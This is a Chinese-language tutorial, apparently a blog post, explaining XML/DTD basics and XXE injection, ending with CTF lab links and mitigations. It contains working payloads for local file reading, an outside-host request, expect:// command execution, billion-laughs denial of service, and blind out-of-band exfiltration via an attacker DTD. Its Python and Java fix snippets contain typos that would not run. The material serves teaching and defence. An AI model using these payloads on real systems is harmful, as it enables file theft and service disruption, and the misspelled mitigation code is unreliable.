XXE(XML External Entity Injection)全称为XML外部实体注入,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。而学习XXE要从认识XML开始。
XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 的设计宗旨是传输数据,而非显示数据XML 标签没有被预定义。您需要自行定义标签
XML 被设计为具有自我描述性。
XML 是 W3C 的推荐标准
XML 仅仅是纯文本
XML 可以发明自己的标签
XML 是对 HTML 的补充
XML 是 W3C 的推荐标准
XML文档结构包括:XML声明、DTD文档类型定义(可选)、文档元素。
XML是可扩展得标记语言,设计用来进行数据的传输和存储
<?xml version="1" encoding="UTF-8"?> //XML声明
<!DOCTYPE message [ //DTD文档类型定义
<!ELEMENT message (receiver,sender,header,msg)>] //定义元素
<reset><login>&aaa;</login>
<secret>Any bugs?</secret></reset> //文档元素
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型--> //PCDATA 的意思是被解析的字符数据
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
文档类型定义(dtd)可以定义合法得XML文档构建模块,它使用一系列合法的元素来定义文档结构
DTD可以成行地声明于XML文档中,也可作为一个外部引用。
1. 内部得DOCTYPE声明
<!DOCTYPE 根元素 [元素声明]>
内部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
2. 外部文档声明
<!DOCTYPE 根元素 SYSTEM “URI”>
外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。
1.内部实体声明
<!ENTITY 实体名称 “实体得值”>
2.外部实体声明
<!ENTITY 实体名称 SYSTEM “URI”>
3.参数实体声明
<!ENTITY % 实体名称 “实体的值”>或<!ENTITY % 实体名称 SYSTEM “URI”>
引用
● 参数实体用% name申明,引用时用%name;,只能在DTD中申明,DTD中引用。
● 其余实体直接用name申明,引用时用&name;,只能在DTD中申明,可在xml文档中引用
注入:在XML数据传输过程中,数据被恶意修改,导致服务最终执行了修改后的恶意代码
外部实体:通过调用外部实体声明部分对XML数据进行修改,插入恶意代码
因此XXE指的是XML数据在传输过程中,利用外部实体声明部分的“SYSTEM”关键字导致XML解析器可以从本地文件或者远程的URL中读取受保护的数据。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe (实体引用名) SYSTEM "file:///C://Windows//win.ini"(实体内容)>]>
<name>&xxe;</name>
system外部引用dtd 利用file协议读取本地文件
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 //接收的类型
发现提交数据支持XML格式内容,尝试使XXE攻击语句进行测试
#读文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "file:///C://Windows//win.ini">]>
<name>&xxe;</name>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo[
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://45.158.23.96:8088/">
]>
<x>&rabbit;</x>
安装expect拓展的PHP环境里执行系统命令
<?xml version="1.0" encoding="UTF-8"?>
<?DOCTYPE ANY[
<!ENTITY xxe SYSTEM "expect://ipconfig">
]>
<x>&xxe;</x>
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。
#引用外部实体dtd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "http://127.0.0.1/one.dtd">
%file;
]>
<x>&send;</x>
one.dtd:
<!ENTITY send SYSTEM "file:///C://Windows//win.ini">
#无回显读取文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/hello.txt">
<!ENTITY % dtd SYSTEM "http://192.168.1.4/test.dtd">
%dtd;
%send;
]>
test.dtd
<!ENTITY % payload
"<!ENTITY  send SYSTEM 'http://192.168.1.4/?data=%file;'>"
>
%payload;
先通过system外部引用 php协议将hello.txt的内容进行base64 ——》 然后去执行引用192.168.1.4下的test.dtd文档 -》 去访问我们搭建的web服务卸载%file这个参数 ,然后我们去看我们apache 日志文件,的web访问记录 从而得到文件内容
XXE-lab尝试登录–>抓包发现xml数据–>注入payload
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "file:///C://Windows//win.ini">
]>
存在以上1、2信息就有可能存在注入点,在burp抓包最下方写入payload尝试。
CTF-Vulnhub-XEE实战复现过程:https://blog.csdn.net/qq_44930903/article/details/112333612
CTF-xml漏洞在线环境:http://web.jarvisoj.com:9882/
过滤进行fuzz模糊测试,
自动化注入工具:https://www.cnblogs.com/bmjoker/p/9614990.html
禁用外部实体引用
PHP:libxml_disable_entity_loader(true);
JAVA:DocuemntBuilderFactory dbf=DocumentBuiderFactory.newlnstance();
dbf.setExpandEntityReferences(false)
Python: from lxml import etree
xmlData = etree.parse(xmlSouerce,etree.XMLParser(resolve_entitles=flase))
过滤用户提交的XML数据